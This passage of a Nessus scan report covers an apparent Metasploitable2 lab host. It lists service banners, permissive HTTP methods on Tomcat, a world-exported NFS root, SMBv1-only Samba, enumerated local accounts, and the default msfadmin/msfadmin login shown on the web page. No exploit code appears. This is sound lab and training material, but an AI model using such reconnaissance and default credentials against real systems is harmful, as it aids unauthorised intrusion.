    /jsp-examples/error
    /jsp-examples/forward
    /jsp-examples/include
    /jsp-examples/jsp2
    /jsp-examples/jsp2/el
    /jsp-examples/jsp2/jspattribute
    /jsp-examples/jsp2/jspx
    /jsp-examples/jsp2/misc
    /servlets-examples


Based on tests of each method :

  - HTTP methods GET HEAD OPTIONS POST are allowed on :

    /
    /admin
    /admin/error.jsp
    /host-manager
    /jsp-examples
    /jsp-examples/cal
    /jsp-examples/checkbox
    /jsp-examples/colors
    /jsp-examples/dates
    /jsp-examples/error
    /jsp-examples/forward
    /jsp-examples/include
    /jsp-examples/jsp2
    /jsp-examples/jsp2/el
    /jsp-examples/jsp2/jspattribute
    /jsp-examples/jsp2/jspx
    /jsp-examples/jsp2/misc
    /servlets-examples
```

## 10107 - HTTP Server Type and Version

### Synopsis

A web server is running on the remote host.

### Description

This plugin attempts to determine the type and the version of the remote web server.

### Solution

n/a

### Risk Factor

None

### References

| | |
|---|---|
| XREF | IAVT:0001-T-0931 |

### Plugin Information

Published: 2000/01/04, Modified: 2020/10/30

### Plugin Output

tcp/80/www

```
The remote web server type is :

Apache/2.2.8 (Ubuntu) DAV/2
```

## 10107 - HTTP Server Type and Version

### Synopsis

A web server is running on the remote host.

### Description

This plugin attempts to determine the type and the version of the remote web server.

### Solution

n/a

### Risk Factor

None

### References

| | |
|---|---|
| XREF | IAVT:0001-T-0931 |

### Plugin Information

Published: 2000/01/04, Modified: 2020/10/30

### Plugin Output

tcp/8180/www

```
The remote web server type is :

Apache-Coyote/1.1
```

## 24260 - HyperText Transfer Protocol (HTTP) Information

### Synopsis

Some information about the remote HTTP configuration can be extracted.

### Description

This test gives some information about the remote HTTP protocol - the version used, whether HTTP Keep-Alive is enabled, etc...

This test is informational only and does not denote any security problem.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/01/30, Modified: 2024/02/26

### Plugin Output

tcp/80/www

```

Response Code : HTTP/1.1 200 OK

Protocol version : HTTP/1.1
HTTP/2 TLS Support: No
HTTP/2 Cleartext Support: No
SSL : no
Keep-Alive : yes
Options allowed : (Not implemented)
Headers :

  Date: Tue, 23 Sep 2025 19:12:52 GMT
  Server: Apache/2.2.8 (Ubuntu) DAV/2
  X-Powered-By: PHP/5.2.4-2ubuntu5.10
  Content-Length: 891
  Keep-Alive: timeout=15, max=100
  Connection: Keep-Alive
  Content-Type: text/html

Response Body :

<html><head><title>Metasploitable2 - Linux</title></head><body>
<pre>


                _                  _       _ _        _     _      ____
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | |  __// __/
```

```
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|
                            |_|


Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started


</pre>
<ul>
<li><a href="/twiki/">TWiki</a></li>
<li><a href="/phpMyAdmin/">phpMyAdmin</a></li>
<li><a href="/mutillidae/">Mutillidae</a></li>
<li><a href="/dvwa/">DVWA</a></li>
<li><a href="/dav/">WebDAV</a></li>
</ul>
</body>
</html>
```

## 24260 - HyperText Transfer Protocol (HTTP) Information

### Synopsis

Some information about the remote HTTP configuration can be extracted.

### Description

This test gives some information about the remote HTTP protocol - the version used, whether HTTP Keep-Alive is enabled, etc...

This test is informational only and does not denote any security problem.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/01/30, Modified: 2024/02/26

### Plugin Output

tcp/8180/www

```

Response Code : HTTP/1.1 200 OK

Protocol version : HTTP/1.1
HTTP/2 TLS Support: No
HTTP/2 Cleartext Support: No
SSL : no
Keep-Alive : no
Options allowed : GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS
Headers :

  Server: Apache-Coyote/1.1
  Content-Type: text/html;charset=ISO-8859-1
  Date: Tue, 23 Sep 2025 19:12:37 GMT
  Connection: close

Response Body :

<!--
  Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0
  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
    <head>
    <title>Apache Tomcat/5.5</title>
    <style type="text/css">
    /*<![CDATA[*/
      body {
          color: #000000;
          background-color: #FFFFFF;
  font-family: Arial, "Times New Roman", Times, serif;
          margin: 10px 0px;
      }

    img {
       border: none;
    }

    a:link, a:visited {
        color: blue
    }

    th {
        font-family: Verdana, "Times New Roman", Times, serif;
        font-size: 110%;
        font-weight: normal;
        font-style: italic;
        background: #D2A41C;
        text-align: left;
    }

    td {
        color: #000000;
font-family: Arial, Helvetica, sans-serif;
    }

    td.men [...]
```

## 171410 - IP Assignment Method Detection

### Synopsis

Enumerates the IP address assignment method(static/dynamic).

### Description

Enumerates the IP address assignment method(static/dynamic).

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2023/02/14, Modified: 2025/08/25

### Plugin Output

tcp/0

```
+ lo
  + IPv4
    - Address       : 127.0.0.1
      Assign Method : static
  + IPv6
    - Address       : ::1
      Assign Method : static
+ eth0
  + IPv4
    - Address       : 192.168.50.101
      Assign Method : static
  + IPv6
    - Address       : fe80::a00:27ff:fe3d:294
      Assign Method : static
```

## 11156 - IRC Daemon Version Detection

### Synopsis

The remote host is an IRC server.

### Description

This plugin determines the version of the IRC daemon.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2002/11/19, Modified: 2016/01/08

### Plugin Output

tcp/6667/irc

```
The IRC server version is : Unreal3.2.8.1. FhiXOoE [*=2309]
```

## 11156 - IRC Daemon Version Detection

### Synopsis

The remote host is an IRC server.

### Description

This plugin determines the version of the IRC daemon.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2002/11/19, Modified: 2016/01/08

### Plugin Output

tcp/6697/irc

```
The IRC server version is : Unreal3.2.8.1. FhiXOoE [*=2309]
```

## 157358 - Linux Mounted Devices

### Synopsis

Use system commands to obtain the list of mounted devices on the target machine at scan time.

### Description

Report the mounted devices information on the target machine at scan time using the following commands.

/bin/df -h /bin/lsblk /bin/mount -l

This plugin only reports on the tools available on the system and omits any tool that did not return information when the command was ran.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2022/02/03, Modified: 2023/11/27

### Plugin Output

tcp/0

```
$ df -h
Filesystem            Size  Used Avail Use% Mounted on
/dev/mapper/metasploitable-root
                      7.0G  1.5G  5.2G  22% /
varrun               1014M  148K 1014M   1% /var/run
varlock              1014M  8.0K 1014M   1% /var/lock
udev                 1014M   20K 1014M   1% /dev
devshm               1014M     0 1014M   0% /dev/shm
/dev/sda1             228M   25M  192M  12% /boot


$ mount -l
/dev/mapper/metasploitable-root on / type ext3 (rw,relatime,errors=remount-ro) []
proc on /proc type proc (rw,noexec,nosuid,nodev)
/sys on /sys type sysfs (rw,noexec,nosuid,nodev)
varrun on /var/run type tmpfs (rw,noexec,nosuid,nodev,mode=0755)
varlock on /var/lock type tmpfs (rw,noexec,nosuid,nodev,mode=1777)
udev on /dev type tmpfs (rw,mode=0755)
devshm on /dev/shm type tmpfs (rw)
devpts on /dev/pts type devpts (rw,gid=5,mode=620)
/dev/sda1 on /boot type ext3 (rw,relatime) []
securityfs on /sys/kernel/security type securityfs (rw)
rpc_pipefs on /var/lib/nfs/rpc_pipefs type rpc_pipefs (rw)
nfsd on /proc/fs/nfsd type nfsd (rw)
```

## 193143 - Linux Time Zone Information

### Synopsis

Nessus was able to collect and report time zone information from the remote host.

### Description

Nessus was able to collect time zone information from the remote Linux host.

### Solution

None

### Risk Factor

None

### Plugin Information

Published: 2024/04/10, Modified: 2024/04/10

### Plugin Output

tcp/0

```
Via date: EDT -0400
Via /etc/timezone: US/Eastern
Via /etc/localtime: EST5EDT,M3.2.0,M11.1.0
```

## 95928 - Linux User List Enumeration

### Synopsis

Nessus was able to enumerate local users and groups on the remote Linux host.

### Description

Using the supplied credentials, Nessus was able to enumerate the local users and groups on the remote Linux host.

### Solution

None

### Risk Factor

None

### Plugin Information

Published: 2016/12/19, Modified: 2025/03/26

### Plugin Output

tcp/0

```
-----------[ User Accounts ]-----------

User         : msfadmin
Home folder  : /home/msfadmin
Start script : /bin/bash
Groups       : dip
               admin
               lpadmin
               dialout
               msfadmin
               fuse
               video
               cdrom
               sambashare
               adm
               audio
               plugdev
               floppy

User         : user
Home folder  : /home/user
Start script : /bin/bash
Groups       : user

User         : service
Home folder  : /home/service
Start script : /bin/bash
Groups       : service
```

```
----------[ System Accounts ]----------

User         : root
Home folder  : /root
Start script : /bin/bash
Groups       : root

User         : daemon
Home folder  : /usr/sbin
Start script : /bin/sh
Groups       : daemon

User         : bin
Home folder  : /bin
Start script : /bin/sh
Groups       : bin

User         : sys
Home folder  : /dev
Start script : /bin/sh
Groups       : sys

User         : sync
Home folder  : /bin
Start script : /bin/sync
Groups       : nogroup

User         : games
Home folder  : /usr/games
Start script : /bin/sh
Groups       : games

User         : man
Home folder  : /var/cache/man
Start script : /bin/sh
Groups       : man

User         : lp
Home folder  : /var/spool/lpd
Start script : /bin/sh
Groups       : lp

User         : mail
Home folder  : /var/mail
Start script : /bin/sh
Groups       : mail

User         : news
Home folder  : /var/spool/news
Start script : /bin/sh
Groups       : news

User         : uucp
Home folder  : /var/spool/uucp
Start script : /bin/sh
Groups       : uucp

User         : proxy
Home folder  : /bin
Start script : /bin/sh
Groups       : proxy

User         : www-data
Home folder  : /var/www
Start script : /bin/sh
Groups       : www-data

User         : backup
Home folder  : /var/backups
Start script : /bin/sh
```

```
Groups       : backup

User         : list
Home folder  : /var/list
Start script : /bin/sh
Groups       : list

User         : irc
Home folder  : /var/run/ircd
Start scr [...]
```

## 10397 - Microsoft Windows SMB LanMan Pipe Server Listing Disclosure

### Synopsis

It is possible to obtain network information.

### Description

It was possible to obtain the browse list of the remote Windows system by sending a request to the LANMAN pipe. The browse list is the list of the nearest Windows systems of the remote host.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2000/05/09, Modified: 2022/02/01

### Plugin Output

tcp/445/cifs

```

Here is the browse list of the remote host :

METASPLOITABLE ( os : 0.0 )
```

## 10785 - Microsoft Windows SMB NativeLanManager Remote System Information Disclosure

### Synopsis

It was possible to obtain information about the remote operating system.

### Description

Nessus was able to obtain the remote operating system name and version (Windows and/or Samba) by sending an authentication request to port 139 or 445. Note that this plugin requires SMB to be enabled on the host.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2001/10/17, Modified: 2021/09/20

### Plugin Output

tcp/445/cifs

```
The remote Operating System is : Unix
The remote native LAN manager is : Samba 3.0.20-Debian
The remote SMB Domain Name is : METASPLOITABLE
```

## 11011 - Microsoft Windows SMB Service Detection

### Synopsis

A file / print sharing service is listening on the remote host.

### Description

The remote service understands the CIFS (Common Internet File System) or Server Message Block (SMB) protocol, used to provide shared access to files, printers, etc between nodes on a network.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2002/06/05, Modified: 2021/02/11

### Plugin Output

tcp/139/smb

```
An SMB server is running on this port.
```

## 11011 - Microsoft Windows SMB Service Detection

### Synopsis

A file / print sharing service is listening on the remote host.

### Description

The remote service understands the CIFS (Common Internet File System) or Server Message Block (SMB) protocol, used to provide shared access to files, printers, etc between nodes on a network.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2002/06/05, Modified: 2021/02/11

### Plugin Output

tcp/445/cifs

```

A CIFS server is running on this port.
```

## 100871 - Microsoft Windows SMB Versions Supported (remote check)

### Synopsis

It was possible to obtain information about the version of SMB running on the remote host.

### Description

Nessus was able to obtain the version of SMB running on the remote host by sending an authentication request to port 139 or 445.

Note that this plugin is a remote check and does not work on agents.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2017/06/19, Modified: 2019/11/22

### Plugin Output

tcp/445/cifs

```
The remote host supports the following versions of SMB :
  SMBv1
```

## 106716 - Microsoft Windows SMB2 and SMB3 Dialects Supported (remote check)

### Synopsis

It was possible to obtain information about the dialects of SMB2 and SMB3 available on the remote host.

### Description

Nessus was able to obtain the set of SMB2 and SMB3 dialects running on the remote host by sending an authentication request to port 139 or 445.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2018/02/09, Modified: 2020/03/11

### Plugin Output

tcp/445/cifs

```
The remote host does NOT support the following SMB dialects :
_version_  _introduced in windows version_
2.0.2      Windows 2008
2.1        Windows 7
2.2.2      Windows 8 Beta
2.2.4      Windows 8 Beta
3.0        Windows 8
3.0.2      Windows 8.1
3.1        Windows 10
3.1.1      Windows 10
```

## 50344 - Missing or Permissive Content-Security-Policy frame-ancestors HTTP Response Header

### Synopsis

The remote web server does not take steps to mitigate a class of web application vulnerabilities.

### Description

The remote web server in some responses sets a permissive Content-Security-Policy (CSP) frame-ancestors response header or does not set one at all.

The CSP frame-ancestors header has been proposed by the W3C Web Application Security Working Group as a way to mitigate cross-site scripting and clickjacking attacks.

### See Also

http://www.nessus.org/u?55aa8f57

http://www.nessus.org/u?07cc2a06

https://content-security-policy.com/

https://www.w3.org/TR/CSP2/

### Solution

Set a non-permissive Content-Security-Policy frame-ancestors header for all requested resources.

### Risk Factor

None

### Plugin Information

Published: 2010/10/26, Modified: 2021/01/19

### Plugin Output

tcp/80/www

```

The following pages do not set a Content-Security-Policy frame-ancestors response header or set a
 permissive policy:

  - http://192.168.50.101/
  - http://192.168.50.101/dav/
  - http://192.168.50.101/dvwa/dvwa/
  - http://192.168.50.101/dvwa/dvwa/css/
  - http://192.168.50.101/dvwa/dvwa/images/
  - http://192.168.50.101/dvwa/dvwa/includes/
  - http://192.168.50.101/dvwa/dvwa/includes/DBMS/
  - http://192.168.50.101/dvwa/dvwa/includes/DBMS/DBMS.php
  - http://192.168.50.101/dvwa/dvwa/includes/DBMS/MySQL.php
  - http://192.168.50.101/dvwa/dvwa/includes/dvwaPage.inc.php
  - http://192.168.50.101/dvwa/dvwa/includes/dvwaPhpIds.inc.php
```

```
   - http://192.168.50.101/dvwa/dvwa/js/
   - http://192.168.50.101/dvwa/login.php
   - http://192.168.50.101/mutillidae/
   - http://192.168.50.101/mutillidae/documentation/
   - http://192.168.50.101/mutillidae/documentation/how-to-access-Mutillidae-over-Virtual-Box-
network.php
   - http://192.168.50.101/mutillidae/documentation/vulnerabilities.php
   - http://192.168.50.101/mutillidae/framer.html
   - http://192.168.50.101/mutillidae/index.php
   - http://192.168.50.101/mutillidae/set-up-database.php
   - http://192.168.50.101/mutillidae/styles/
   - http://192.168.50.101/mutillidae/styles/ddsmoothmenu/
   - http://192.168.50.101/phpMyAdmin/
   - http://192.168.50.101/phpMyAdmin/index.php
   - http://192.168.50.101/test/
   - http://192.168.50.101/test/testoutput/
   - http://192.168.50.101/twiki/
   - http://192.168.50.101/twiki/TWikiHistory.html
   - http://192.168.50.101/twiki/bin/oops
   - http://192.168.50.101/twiki/bin/oops/Main
   - http://192.168.50.101/twiki/bin/oops/Main/WebHomemailto%3Awebmasteryour
   - http://192.168.50.101/twiki/bin/oops/Main/WebHomemailto%3Awebmasteryour/company
   - http://192.168.50.101/twiki/bin/search
   - http://192.168.50.101/twiki/bin/search/Main
   - http://192.168.50.101/twiki/bin/search/Main/SearchResult
   - http://192.168.50.101/twiki/bin/view
   - http://192.168.50.101/twiki/bin/view/Main
   - http://192.168.50.101/twiki/bin/view/Main/WebHome
```

## 50344 - Missing or Permissive Content-Security-Policy frame-ancestors HTTP Response Header

### Synopsis

The remote web server does not take steps to mitigate a class of web application vulnerabilities.

### Description

The remote web server in some responses sets a permissive Content-Security-Policy (CSP) frame-ancestors response header or does not set one at all.

The CSP frame-ancestors header has been proposed by the W3C Web Application Security Working Group as a way to mitigate cross-site scripting and clickjacking attacks.

### See Also

http://www.nessus.org/u?55aa8f57

http://www.nessus.org/u?07cc2a06

https://content-security-policy.com/

https://www.w3.org/TR/CSP2/

### Solution

Set a non-permissive Content-Security-Policy frame-ancestors header for all requested resources.

### Risk Factor

None

### Plugin Information

Published: 2010/10/26, Modified: 2021/01/19

### Plugin Output

tcp/8180/www

```

The following pages do not set a Content-Security-Policy frame-ancestors response header or set a
 permissive policy:

  - http://192.168.50.101:8180/
  - http://192.168.50.101:8180/admin/
  - http://192.168.50.101:8180/admin/error.jsp
  - http://192.168.50.101:8180/admin/j_security_check
  - http://192.168.50.101:8180/jsp-examples/
  - http://192.168.50.101:8180/jsp-examples/cal/Entries.java.html
  - http://192.168.50.101:8180/jsp-examples/cal/Entry.java.html
  - http://192.168.50.101:8180/jsp-examples/cal/TableBean.java.html
  - http://192.168.50.101:8180/jsp-examples/cal/cal1.jsp
  - http://192.168.50.101:8180/jsp-examples/cal/cal1.jsp.html
  - http://192.168.50.101:8180/jsp-examples/cal/cal2.jsp.html
```

```
    - http://192.168.50.101:8180/jsp-examples/cal/calendar.html
    - http://192.168.50.101:8180/jsp-examples/cal/login.html
    - http://192.168.50.101:8180/jsp-examples/checkbox/CheckTest.html
    - http://192.168.50.101:8180/jsp-examples/checkbox/check.html
    - http://192.168.50.101:8180/jsp-examples/checkbox/checkresult.jsp
    - http://192.168.50.101:8180/jsp-examples/checkbox/checkresult.jsp.html
    - http://192.168.50.101:8180/jsp-examples/checkbox/cresult.html
    - http://192.168.50.101:8180/jsp-examples/colors/ColorGameBean.html
    - http://192.168.50.101:8180/jsp-examples/colors/clr.html
    - http://192.168.50.101:8180/jsp-examples/colors/colors.html
    - http://192.168.50.101:8180/jsp-examples/colors/colrs.jsp
    - http://192.168.50.101:8180/jsp-examples/colors/colrs.jsp.html
    - http://192.168.50.101:8180/jsp-examples/dates/date.html
    - http://192.168.50.101:8180/jsp-examples/dates/date.jsp
    - http://192.168.50.101:8180/jsp-examples/dates/date.jsp.html
    - http://192.168.50.101:8180/jsp-examples/error/er.html
    - http://192.168.50.101:8180/jsp-examples/error/err.jsp
    - http://192.168.50.101:8180/jsp-examples/error/err.jsp.html
    - http://192.168.50.101:8180/jsp-examples/error/error.html
    - http://192.168.50.101:8180/jsp-examples/forward/forward.jsp
    - http://192.168.50.101:8180/jsp-examples/forward/forward.jsp.ht [...]
```

## 50345 - Missing or Permissive X-Frame-Options HTTP Response Header

### Synopsis

The remote web server does not take steps to mitigate a class of web application vulnerabilities.

### Description

The remote web server in some responses sets a permissive X-Frame-Options response header or does not set one at all.

The X-Frame-Options header has been proposed by Microsoft as a way to mitigate clickjacking attacks and is currently supported by all major browser vendors

### See Also

https://en.wikipedia.org/wiki/Clickjacking

http://www.nessus.org/u?399b1f56

### Solution

Set a properly configured X-Frame-Options header for all requested resources.

### Risk Factor

None

### Plugin Information

Published: 2010/10/26, Modified: 2021/01/19

### Plugin Output

tcp/80/www

```

The following pages do not set a X-Frame-Options response header or set a permissive policy:

  - http://192.168.50.101/
  - http://192.168.50.101/dav/
  - http://192.168.50.101/dvwa/dvwa/
  - http://192.168.50.101/dvwa/dvwa/css/
  - http://192.168.50.101/dvwa/dvwa/images/
  - http://192.168.50.101/dvwa/dvwa/includes/
  - http://192.168.50.101/dvwa/dvwa/includes/DBMS/
  - http://192.168.50.101/dvwa/dvwa/includes/DBMS/DBMS.php
  - http://192.168.50.101/dvwa/dvwa/includes/DBMS/MySQL.php
  - http://192.168.50.101/dvwa/dvwa/includes/dvwaPage.inc.php
  - http://192.168.50.101/dvwa/dvwa/includes/dvwaPhpIds.inc.php
  - http://192.168.50.101/dvwa/dvwa/js/
  - http://192.168.50.101/dvwa/login.php
  - http://192.168.50.101/mutillidae/
  - http://192.168.50.101/mutillidae/documentation/
  - http://192.168.50.101/mutillidae/documentation/how-to-access-Mutillidae-over-Virtual-Box-
network.php
  - http://192.168.50.101/mutillidae/documentation/vulnerabilities.php
  - http://192.168.50.101/mutillidae/framer.html
  - http://192.168.50.101/mutillidae/index.php
  - http://192.168.50.101/mutillidae/set-up-database.php
  - http://192.168.50.101/mutillidae/styles/
  - http://192.168.50.101/mutillidae/styles/ddsmoothmenu/
  - http://192.168.50.101/phpMyAdmin/
  - http://192.168.50.101/phpMyAdmin/index.php
  - http://192.168.50.101/test/
  - http://192.168.50.101/test/testoutput/
  - http://192.168.50.101/twiki/
  - http://192.168.50.101/twiki/TWikiHistory.html
  - http://192.168.50.101/twiki/bin/oops
  - http://192.168.50.101/twiki/bin/oops/Main
  - http://192.168.50.101/twiki/bin/oops/Main/WebHomemailto%3Awebmasteryour
  - http://192.168.50.101/twiki/bin/oops/Main/WebHomemailto%3Awebmasteryour/company
  - http://192.168.50.101/twiki/bin/search
  - http://192.168.50.101/twiki/bin/search/Main
  - http://192.168.50.101/twiki/bin/search/Main/SearchResult
  - http://192.168.50.101/twiki/bin/view
  - http://192.168.50.101/twiki/bin/view/Main
  - http://192.168.50.101/twiki/bin/view/Main/WebHome
```

## 50345 - Missing or Permissive X-Frame-Options HTTP Response Header

### Synopsis

The remote web server does not take steps to mitigate a class of web application vulnerabilities.

### Description

The remote web server in some responses sets a permissive X-Frame-Options response header or does not set one at all.

The X-Frame-Options header has been proposed by Microsoft as a way to mitigate clickjacking attacks and is currently supported by all major browser vendors

### See Also

https://en.wikipedia.org/wiki/Clickjacking

http://www.nessus.org/u?399b1f56

### Solution

Set a properly configured X-Frame-Options header for all requested resources.

### Risk Factor

None

### Plugin Information

Published: 2010/10/26, Modified: 2021/01/19

### Plugin Output

tcp/8180/www

```
The following pages do not set a X-Frame-Options response header or set a permissive policy:

  - http://192.168.50.101:8180/
  - http://192.168.50.101:8180/admin/
  - http://192.168.50.101:8180/admin/error.jsp
  - http://192.168.50.101:8180/admin/j_security_check
  - http://192.168.50.101:8180/jsp-examples/
  - http://192.168.50.101:8180/jsp-examples/cal/Entries.java.html
  - http://192.168.50.101:8180/jsp-examples/cal/Entry.java.html
  - http://192.168.50.101:8180/jsp-examples/cal/TableBean.java.html
  - http://192.168.50.101:8180/jsp-examples/cal/cal1.jsp
  - http://192.168.50.101:8180/jsp-examples/cal/cal1.jsp.html
  - http://192.168.50.101:8180/jsp-examples/cal/cal2.jsp.html
  - http://192.168.50.101:8180/jsp-examples/cal/calendar.html
  - http://192.168.50.101:8180/jsp-examples/cal/login.html
  - http://192.168.50.101:8180/jsp-examples/checkbox/CheckTest.html
  - http://192.168.50.101:8180/jsp-examples/checkbox/check.html
  - http://192.168.50.101:8180/jsp-examples/checkbox/checkresult.jsp
```

```
    - http://192.168.50.101:8180/jsp-examples/checkbox/checkresult.jsp.html
    - http://192.168.50.101:8180/jsp-examples/checkbox/cresult.html
    - http://192.168.50.101:8180/jsp-examples/colors/ColorGameBean.html
    - http://192.168.50.101:8180/jsp-examples/colors/clr.html
    - http://192.168.50.101:8180/jsp-examples/colors/colors.html
    - http://192.168.50.101:8180/jsp-examples/colors/colrs.jsp
    - http://192.168.50.101:8180/jsp-examples/colors/colrs.jsp.html
    - http://192.168.50.101:8180/jsp-examples/dates/date.html
    - http://192.168.50.101:8180/jsp-examples/dates/date.jsp
    - http://192.168.50.101:8180/jsp-examples/dates/date.jsp.html
    - http://192.168.50.101:8180/jsp-examples/error/er.html
    - http://192.168.50.101:8180/jsp-examples/error/err.jsp
    - http://192.168.50.101:8180/jsp-examples/error/err.jsp.html
    - http://192.168.50.101:8180/jsp-examples/error/error.html
    - http://192.168.50.101:8180/jsp-examples/forward/forward.jsp
    - http://192.168.50.101:8180/jsp-examples/forward/forward.jsp.html
    - http://192.168.50 [...]
```

## 10437 - NFS Share Export List

### Synopsis

The remote NFS server exports a list of shares.

### Description

This plugin retrieves the list of NFS exported shares.

### See Also

http://www.tldp.org/HOWTO/NFS-HOWTO/security.html

### Solution

Ensure each share is intended to be exported.

### Risk Factor

None

### Plugin Information

Published: 2000/06/07, Modified: 2019/10/04

### Plugin Output

tcp/2049/rpc-nfs

```
Here is the export list of 192.168.50.101 :

  / *
```

## 64582 - Netstat Connection Information

### Synopsis

Nessus was able to parse the results of the 'netstat' command on the remote host.

### Description

The remote host has listening ports or established connections that Nessus was able to extract from the results of the 'netstat' command.

Note: The output for this plugin can be very long, and is not shown by default. To display it, enable verbose reporting in scan settings.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2013/02/13, Modified: 2023/05/23

### Plugin Output

tcp/0

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

tcp/21/ftp

```
Port 21/tcp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

tcp/22/ssh

```
Port 22/tcp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

tcp/23/telnet

```
Port 23/tcp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

tcp/25/smtp

```
Port 25/tcp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

tcp/53/dns

```
Port 53/tcp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

udp/53/dns

```
Port 53/udp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

udp/69/tftp

```
Port 69/udp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

### Plugin Output

tcp/80/www

```
Port 80/tcp was found to be open
```

## 14272 - Netstat Portscanner (SSH)

### Synopsis

Remote open ports can be enumerated via SSH.

### Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

### See Also

https://en.wikipedia.org/wiki/Netstat

### Solution

n/a

